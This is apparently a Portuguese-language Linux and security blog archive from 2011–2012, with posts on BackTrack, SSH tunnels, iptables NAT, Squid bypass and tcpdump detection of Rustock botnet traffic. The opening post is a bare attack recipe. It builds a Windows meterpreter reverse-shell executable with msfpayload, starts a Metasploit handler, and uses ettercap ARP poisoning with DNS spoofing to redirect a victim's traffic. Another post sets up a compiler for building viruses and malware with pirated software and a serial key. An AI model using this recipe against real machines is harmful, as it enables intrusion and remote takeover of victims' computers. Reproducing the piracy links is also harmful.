Neste quick post vou mostrar como redirecionar o tráfego de uma máquina (alvo) usando a técnica de MITM para a minha máquina, onde esta rodando o metasploit (handler).
(1)
msfpayload windows/meterpreter/reverse_tcp LHOST=SeuIP LPORT=80 X > /NomeDoArquivo.exe
use multi/handler
(2)
set payload windows/meterpreter/reverse_tcp
set lhost SeuIP
set lport 80
exploit
(3)
echo 1 > /proc/sys/net/ipv4/ip_forward
ettercap -T -q -P dns_spoof -M ARP /IP_GW/ /IP_alvo/
Bom Proveito.
Visite também:
BR-Linux ·
VivaOLinux ·
LinuxSecurity ·
Dicas-L ·
NoticiasLinux ·
SoftwareLivre.org ·
[mais]
quarta-feira, 18 de abril de 2012
sexta-feira, 13 de abril de 2012
BackTrack Persistente
Sabe aquele pendrive com o BackTrack que você sempre usa para realizar seu Pentest? Você já imaginou como seria se toda modificação no BT que você fizesse pudesse ser definitiva? Pois é, isso é possível sim, com isso toda alteração realizada no BT será permanente e será realizada de forma transparente permitindo que você faça um backup diferencial somente das alterações realizadas.
Não vou mostrar como criar o pendrive com o BT, estou levando em consideração que você já tenha feito esse procedimento, para mais informações de como fazer isso acesse aqui.
BackTrack irá montar seu pendrive como /media/cdrom0. O BT usa o nome cdrom0 porque assume que você esta usando um LiveDVD e não um pendrive.
Vamos usar o comando mount para ver o dispositivo que foi associado ao /media/cdrom0:
Neste caso o nosso pendrive foi associado ao arquivo /dev/sdb1 que esta montado apenas como leitura (ro), precisamos remountar o nosso dispositivo para que ele aceite escrita:
#mount -o remount,rw /media/cdrom0
Vamos criar um arquivo especial dentro do diretório raiz do pendrive chamado de casper-rw onde toda alteração feita no BT será salva nele.
Vamos usar o arquivo dd para criar esse arquivo de 500MB:
#dd if=/dev/zero of=/media/cdrom0/casper-rw bs=1M count=500
Agora vamos criar o sistema de arquivos:
#mkfs.ext3 -F /media/cdrom0/casper-rw
Pronto, agora no menu do boot perceba uma nova opção chamada "Start Persistent Live CD". Toda vez que você quiser fazer alguma alteração permanente use esta opção.
Segue abaixo um script que peguei no fórum da http://www.backtrack-linux.org para agilizar este procedimento:
Bom Proveito.
Não vou mostrar como criar o pendrive com o BT, estou levando em consideração que você já tenha feito esse procedimento, para mais informações de como fazer isso acesse aqui.
BackTrack irá montar seu pendrive como /media/cdrom0. O BT usa o nome cdrom0 porque assume que você esta usando um LiveDVD e não um pendrive.
Vamos usar o comando mount para ver o dispositivo que foi associado ao /media/cdrom0:
Neste caso o nosso pendrive foi associado ao arquivo /dev/sdb1 que esta montado apenas como leitura (ro), precisamos remountar o nosso dispositivo para que ele aceite escrita:
#mount -o remount,rw /media/cdrom0
Vamos criar um arquivo especial dentro do diretório raiz do pendrive chamado de casper-rw onde toda alteração feita no BT será salva nele.
Vamos usar o arquivo dd para criar esse arquivo de 500MB:
#dd if=/dev/zero of=/media/cdrom0/casper-rw bs=1M count=500
Agora vamos criar o sistema de arquivos:
#mkfs.ext3 -F /media/cdrom0/casper-rw
Pronto, agora no menu do boot perceba uma nova opção chamada "Start Persistent Live CD". Toda vez que você quiser fazer alguma alteração permanente use esta opção.
Segue abaixo um script que peguei no fórum da http://www.backtrack-linux.org para agilizar este procedimento:
#!/bin/bash USB_PATH=none RW_SIZE=none clear echo "WARNING: Before running this script, confirm that the target USB" echo "drive has WRITE permission and it has been mounted. If you are" echo "unsure press Ctrl+C and check before running this script again." echo " " sleep 3 echo "Enter the path to your mounted USB disk: (e.g. /media/disk-0):" read USB_PATH echo " " echo "Enter the amount of space you want to allocate, in MB (e.g. 1024 = 1GB or 4096 = 4GB):" read RW_SIZE echo " " echo "Stop all operations on target disk," echo "sleeping for 5 seconds before processing..." sleep 5 echo " " echo "Task starting, this may take several minutes..." dd if=/dev/zero of=/$USB_PATH/casper-rw bs=1M count=$RW_SIZE mkfs.ext3 -F /$USB_PATH/casper-rw echo "Task completed successfully. Reboot PC in persistent mode! :)"
Bom Proveito.
Compilando seu Source
Neste post vou mostrar como criar um ambiente necessário para você compilar seu vírus, exploit, malware ou qualquer outro código no Windows.
Todo conteúdo foi tirado de um blog (não lembro qual).
1 - Baixe e Instale C++
http://rapidshare.com/files/21861555/msc__.rar.html
Pass: itzforblitz
Serial: 812-2224558
2 - Baixe e Instale Service Pack 6
http://www.microsoft.com/downloads/details.aspx?familyid=a8494edb-2e89-4676-a16a-5c5477cb9713&displaylang=en
3 - Baixe e Instale Windows SDK
http://rapidshare.com/files/21854411/sdk.rar.html
Pass: itzforblitz
4 - Configurando C++
Execute Microsoft Visual C++ Compilier 6.0
Vá em Tools > Options e clique em "Directories"
Vá até os diretórios abaixo e adicione-os na lista conforme ordenado
C:\PROGRAM FILES\MICROSOFT PLATFORM SDK
C:\PROGRAM FILES\MICROSOFT PLATFORM SDK\BIN
C:\PROGRAM FILES\MICROSOFT PLATFORM SDK\INCLUDE
C:\PROGRAM FILES\MICROSOFRT PLATFORM SDK\LIB
Pronto, agora você pode brincar.
Todo conteúdo foi tirado de um blog (não lembro qual).
1 - Baixe e Instale C++
http://rapidshare.com/files/21861555/msc__.rar.html
Pass: itzforblitz
Serial: 812-2224558
2 - Baixe e Instale Service Pack 6
http://www.microsoft.com/downloads/details.aspx?familyid=a8494edb-2e89-4676-a16a-5c5477cb9713&displaylang=en
3 - Baixe e Instale Windows SDK
http://rapidshare.com/files/21854411/sdk.rar.html
Pass: itzforblitz
4 - Configurando C++
Execute Microsoft Visual C++ Compilier 6.0
Vá em Tools > Options e clique em "Directories"
Vá até os diretórios abaixo e adicione-os na lista conforme ordenado
C:\PROGRAM FILES\MICROSOFT PLATFORM SDK
C:\PROGRAM FILES\MICROSOFT PLATFORM SDK\BIN
C:\PROGRAM FILES\MICROSOFT PLATFORM SDK\INCLUDE
C:\PROGRAM FILES\MICROSOFRT PLATFORM SDK\LIB
Pronto, agora você pode brincar.
quarta-feira, 11 de abril de 2012
SSH reverse tunnel
Cenário
Você precisa ajudar um amigo que possui um servidor protegido por um Firewall, O trafego de saida é liberado, mas o de entrada não é permitido, então o servidorSSH pode acessar qualquer máquina da Internet em qualquer porta, o inverso não é verdadeiro, desta forma mesmo que o servidorSSh esteja rodando o sshd na porta 22 ninguem da internet poderá acessar esse serviço se o mesmo não for liberado pelo firewall. Neste cenario estou levando em consideração que não temos acesso ao Firewall.
servidorSSH -------> firewall --------> internet ---------> Suporte
Para resolver este problema iremos realizar uma conexão reversa usando o comando ssh. Com isso o servidorSSH irá se conectar em uma máquina na Internet, que chamarei de Suporte, e a conexão estabelecida sera utilizada para realizar uma conexão reversa.
No servidorSSH execute o comando abaixo:
ssh -fgNTR 2222:localhost:22 root@suporte_IP
Este comando ira acessar a máquina Suporte via SSH e disponibilizara a sua própria porta 22 usando a porta 2222.
Agora na máquina Suporte é só executar:
ssh -p2222 user@localhost
Ao se conectar na porta 2222 estaremos usando a conexão estabelicida anteriormente para se conectar na porta 22 do servidorSSH.
Digamos que você queira acessar uma aplicação que se encontra em um outro servidor, que chamaremos de servidorHTTP, apenas execute o comando abaixo no servidorSSH:
ssh -L 8000:IP_servidorHTTP:80 root@localhost
No browser da máquina Suporte execute:
http://127.0.0.1:8000
Veja um terceiro cenário no link abaixo:
http://mywiki.wooledge.org/SshTunnel
Um abraço para todos.
terça-feira, 22 de novembro de 2011
Entendendo IPTABLES: PREROUTING e POSTROUTING
Quando o assunto é firewall logo se pensa em usar um Linux com iptables. O que não falta são tutoriais pela Internet que ensinam como instalar e configurar um firewall no Linux usando o iptables. Infelizmente muita gente se confunde quando o assunto é a chain PREROUTING e POSTROUTING da tabelna NAT do Netfilter.
A proposta deste post é justamente explicar o que acontece com o pacote quando passa por uma dessas chains.
PREROUTING
Logo que o pacote chega ele é modificado, isso acontece antes do roteamento do pacote. É usado em regras de DNAT e Redirecionamento de porta.
Vamos analisar o cenário abaixo, onde estamos fazendo um DNAT, ou seja, toda requisição feita para o IP 200.164.30.20 na porta 80 será repassado para o IP da rede interna 192.168.2.100.
A requisição vem da Internet com destino 200.164.30.20:80.
No nosso firewall a porta 80 esta desabilitada, neste caso o pacote seria “dropado”, mas como temos essa regra de IPTABLES:
iptables -t nat -A PREROUTING -d 200.164.30.20 -p tcp --dport 80 -j DNAT --to 192.168.2.100
Neste caso todo pacote com destino 200.164.30.20:80 será repassado para 192.168.2.100:80, porém isso acontece antes de qualquer roteamento. Veja a figura abaixo que mostra o que acontece logo que o pacote chega no firewall:
Como o nosso firewall conhece a rede 192.168.2.0/24 o pacote será repassado para o IP 192.168.2.100 na porta 80. Note que o roteamento foi o último procedimento realizado. Neste caso não seria lógico realizar o roteamento primeiro já que o DST possui o mesmo IP do firewall (200.164.30.20).
POSTROUTING
Os pacotes precisam ser modificados após o roteamento. É usado em regras de SNAT e IP MASQUERADING.
Neste post vou usar o MASQUERADING para explicar como funciona o POSTROUTING.
Segue abaixo a descrição tirada do FOCALINUX do que seria o MASQUERADING:
“O IP Masquerading é um tipo especial de SNAT usado para conectar a sua rede interna a internet quando você recebe um IP dinâmico de seu provedor”.
Veja o cenário abaixo:
A máquina 192.168.2.100 pretende acessar a INTERNET, mas para isso é preciso ter uma regra de MASQUERADING no Firewall, onde o mesmo mascara todo acesso da máquina de origem para que saia para a Internet com o IP do próprio Firewall. A regra do iptables seria assim:
iptables -t nat -A POSTROUTING -s 192.168.2.100 -o eth0 -j MASQUERADE
A requisição vem de uma máquina interna da rede (192.168.2.100) com destino (dst) www.google.com.
Veja a figura abaixo que mostra o que acontece logo que o pacote chega no firewall:
Quando o pacote chegar no Firewall vai ser repassado para o Gateway padrão do Firewall que esta configurado na placa de rede com saída para a Internet. No segundo momento, logo depois do roteamento, o pacote bate na chain POSTROUTING da nossa regra de iptables e o mesmo é modificado para que possa navegar na Internet com um IP válido, no nosso caso o IP do Firewall (200.164.30.20).
É fundamental entender o fluxo do pacote quando o mesmo passa pelo Netfilter, Postrouting e Prerouting são chains que poucos entendem. Espero que com este post as dúvidas possam ter sido esclarecidas sobre o assunto.
É fundamental entender o fluxo do pacote quando o mesmo passa pelo Netfilter, Postrouting e Prerouting são chains que poucos entendem. Espero que com este post as dúvidas possam ter sido esclarecidas sobre o assunto.
quinta-feira, 10 de novembro de 2011
Detectando Máquinas que fazem parte da rede Rustock
Recentemente fomos notificados que possíveis máquinas da nossa rede estaria fazendo parte da rede de botnets Rustock (1). Pesquisei pelo Google e encontrei a lista de IP's dos servidores da rede Rustock.
A lista você encontra no link abaixo:
Rustock CnC Servers: http://blog.fireeye.com/research/rustock-cnc-servers.html
Usando o tcpdump pude filtrar todo tráfego com destino aos IP's e salvar o resultado em um arquivo para que posteriormente possa ser analisado, veja o script como ficou:
#!/bin/bash
tcpdump -nn -i any host 173.192.135.102 or host 173.192.135.98 \
or host 173.192.135.99 or host 173.208.128.50 or host 173.208.128.74 \
or host 173.208.128.82 or host 173.208.131.178 or host 173.208.131.98 \
or host 173.208.141.154 or host 173.208.143.114 or host 173.208.143.122 \
or host 173.208.143.194 or host 173.208.143.90 or host 173.208.150.90 \
or host 173.208.154.90 or host 173.208.162.2 or host 173.208.163.178 \
or host 173.208.163.242 or host 173.212.214.194 or host 173.212.241.42 or host 173.212.241.50 or host 173.212.243.114 \
or host 173.83.26.26 or host 173.83.26.34 or host 174.139.250.66 or host 174.36.237.84 or host 204.12.192.250 \
or host 204.12.217.218 or host 204.12.217.250 or host 204.12.217.42 or host 204.12.217.98 or host 204.12.220.122 \
or host 204.12.237.202 or host 204.12.243.210 or host 204.12.243.34 or host 204.12.243.42 or host 204.12.243.58 \
or host 204.12.248.66 or host 204.45.118.202 or host 204.45.118.250 or host 204.45.119.10 or host 204.45.119.18 \
or host 204.45.119.2 or host 204.45.119.26 or host 204.45.119.34 or host 204.45.119.42 or host 204.45.119.50 \
or host 204.45.119.74 or host 204.45.119.82 or host 204.45.119.90 or host 204.45.121.130 or host 204.45.121.18 \
or host 204.45.121.34 or host 204.45.121.42 or host 204.45.121.50 or host 204.45.121.58 or host 206.217.206.8 \
or host 208.101.27.108 or host 208.101.27.44 or host 208.101.27.72 or host 208.110.71.58 or host 208.110.80.50 \
or host 208.110.82.186 or host 208.43.102.220 or host 208.43.157.96 or host 208.43.17.44 or host 208.43.18.12 \
or host 208.43.31.8 or host 208.43.40.148 or host 64.120.144.69 or host 64.120.149.117 or host 64.120.153.117 \
or host 64.191.18.149 or host 64.191.38.165 or host 64.191.53.37 or host 64.191.59.245 or host 64.22.109.222 \
or host 66.197.161.181 or host 66.197.251.69 or host 66.79.162.138 or host 66.79.162.86 or host 66.79.163.102 \
or host 66.96.214.53 or host 66.96.224.213 or host 67.228.206.92 or host 69.197.144.138 or host 69.197.158.242 \
or host 69.197.158.250 or host 69.197.161.34 or host 69.50.197.191 or host 72.26.196.194 or host 74.86.210.133 \
or host 74.86.210.134 or host 76.164.194.226 or host 85.17.200.13 or host 95.211.128.25 or host 96.0.203.106 \
or host 96.0.203.114 or host 96.0.203.122 or host 96.0.203.82 or host 96.0.203.90 or host 96.0.203.98 or host 96.31.81.44 \
or host 96.45.189.178 or host 96.9.169.53 or host 96.9.180.21 or host 96.9.182.101 or host 96.9.182.197 or host 96.9.183.149 \
or host 98.126.114.50 or host 98.126.42.26 or host 98.126.76.186 or host 98.126.77.2 or host 98.141.220.194 \
or host 98.141.220.226 -w /var/log/rustock.log &
O resultado será salvo no arquivo /var/log/rustock.log. Para ler este arquivo temos que usar o tcpdump e redirecionar a saída para um arquivo:
#tcpdump -r /var/log/rustock.log > /tmp/rustock.txt
Agora já podemos manipular as informações. Dando um cat no arquivo veja o que temos:
13:40:32.613458 IP 10.123.122.254.1436 > ..www: Flags [S], seq 3547421019, win 65535, options [mss 1460,nop,nop,sackOK], length 0
Precisamos filtrar o arquivo para termos só o que nos interessa, o IP. Para isso execute o comando abaixo:
#cat /tmp/rustock.txt | cut -f3 -d" " | cut -f1-4 -d.
Agora temos a lista dos IP's que estão tentando se conectar em um dos servidores do Rustock. Agora vamos usar o comando sort para que não apareça os IP's repetidos:
#cat /tmp/rustock.txt | cut -f3 -d" " | cut -f1-4 -d. | sort -u
Agora temos a lista dos IP's que deverão ser investigados.
Referencia:
(1) http://pt.scribd.com/doc/59395728/Battling-the-Rustock-Threat
A lista você encontra no link abaixo:
Rustock CnC Servers: http://blog.fireeye.com/research/rustock-cnc-servers.html
Usando o tcpdump pude filtrar todo tráfego com destino aos IP's e salvar o resultado em um arquivo para que posteriormente possa ser analisado, veja o script como ficou:
#!/bin/bash
tcpdump -nn -i any host 173.192.135.102 or host 173.192.135.98 \
or host 173.192.135.99 or host 173.208.128.50 or host 173.208.128.74 \
or host 173.208.128.82 or host 173.208.131.178 or host 173.208.131.98 \
or host 173.208.141.154 or host 173.208.143.114 or host 173.208.143.122 \
or host 173.208.143.194 or host 173.208.143.90 or host 173.208.150.90 \
or host 173.208.154.90 or host 173.208.162.2 or host 173.208.163.178 \
or host 173.208.163.242 or host 173.212.214.194 or host 173.212.241.42 or host 173.212.241.50 or host 173.212.243.114 \
or host 173.83.26.26 or host 173.83.26.34 or host 174.139.250.66 or host 174.36.237.84 or host 204.12.192.250 \
or host 204.12.217.218 or host 204.12.217.250 or host 204.12.217.42 or host 204.12.217.98 or host 204.12.220.122 \
or host 204.12.237.202 or host 204.12.243.210 or host 204.12.243.34 or host 204.12.243.42 or host 204.12.243.58 \
or host 204.12.248.66 or host 204.45.118.202 or host 204.45.118.250 or host 204.45.119.10 or host 204.45.119.18 \
or host 204.45.119.2 or host 204.45.119.26 or host 204.45.119.34 or host 204.45.119.42 or host 204.45.119.50 \
or host 204.45.119.74 or host 204.45.119.82 or host 204.45.119.90 or host 204.45.121.130 or host 204.45.121.18 \
or host 204.45.121.34 or host 204.45.121.42 or host 204.45.121.50 or host 204.45.121.58 or host 206.217.206.8 \
or host 208.101.27.108 or host 208.101.27.44 or host 208.101.27.72 or host 208.110.71.58 or host 208.110.80.50 \
or host 208.110.82.186 or host 208.43.102.220 or host 208.43.157.96 or host 208.43.17.44 or host 208.43.18.12 \
or host 208.43.31.8 or host 208.43.40.148 or host 64.120.144.69 or host 64.120.149.117 or host 64.120.153.117 \
or host 64.191.18.149 or host 64.191.38.165 or host 64.191.53.37 or host 64.191.59.245 or host 64.22.109.222 \
or host 66.197.161.181 or host 66.197.251.69 or host 66.79.162.138 or host 66.79.162.86 or host 66.79.163.102 \
or host 66.96.214.53 or host 66.96.224.213 or host 67.228.206.92 or host 69.197.144.138 or host 69.197.158.242 \
or host 69.197.158.250 or host 69.197.161.34 or host 69.50.197.191 or host 72.26.196.194 or host 74.86.210.133 \
or host 74.86.210.134 or host 76.164.194.226 or host 85.17.200.13 or host 95.211.128.25 or host 96.0.203.106 \
or host 96.0.203.114 or host 96.0.203.122 or host 96.0.203.82 or host 96.0.203.90 or host 96.0.203.98 or host 96.31.81.44 \
or host 96.45.189.178 or host 96.9.169.53 or host 96.9.180.21 or host 96.9.182.101 or host 96.9.182.197 or host 96.9.183.149 \
or host 98.126.114.50 or host 98.126.42.26 or host 98.126.76.186 or host 98.126.77.2 or host 98.141.220.194 \
or host 98.141.220.226 -w /var/log/rustock.log &
O resultado será salvo no arquivo /var/log/rustock.log. Para ler este arquivo temos que usar o tcpdump e redirecionar a saída para um arquivo:
#tcpdump -r /var/log/rustock.log > /tmp/rustock.txt
Agora já podemos manipular as informações. Dando um cat no arquivo veja o que temos:
13:40:32.613458 IP 10.123.122.254.1436 > ..www: Flags [S], seq 3547421019, win 65535, options [mss 1460,nop,nop,sackOK], length 0
Precisamos filtrar o arquivo para termos só o que nos interessa, o IP. Para isso execute o comando abaixo:
#cat /tmp/rustock.txt | cut -f3 -d" " | cut -f1-4 -d.
Agora temos a lista dos IP's que estão tentando se conectar em um dos servidores do Rustock. Agora vamos usar o comando sort para que não apareça os IP's repetidos:
#cat /tmp/rustock.txt | cut -f3 -d" " | cut -f1-4 -d. | sort -u
Agora temos a lista dos IP's que deverão ser investigados.
Referencia:
(1) http://pt.scribd.com/doc/59395728/Battling-the-Rustock-Threat
terça-feira, 8 de novembro de 2011
Bypass Squid com IPTABLES
Digamos que você tem uma regra redirecionando toda conexão com destino a porta 80 para a porta 3128 (squid):
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 3128
Adicione uma regra de RETURN em cima da regra de REDIRECT para fazer com que todo pacote
TCP com destino a porta 80 e host www.bypass.com.br pare de passar pela tabela NAT e chain PREROUTING.
As regras ficariam assim:
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -d www.bypass.com.br -j RETURN
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 3128 Com essa regra toda requisição feita para o domínio www.bypass.com.br não passara
pelo squid.
Assinar:
Postagens (Atom)




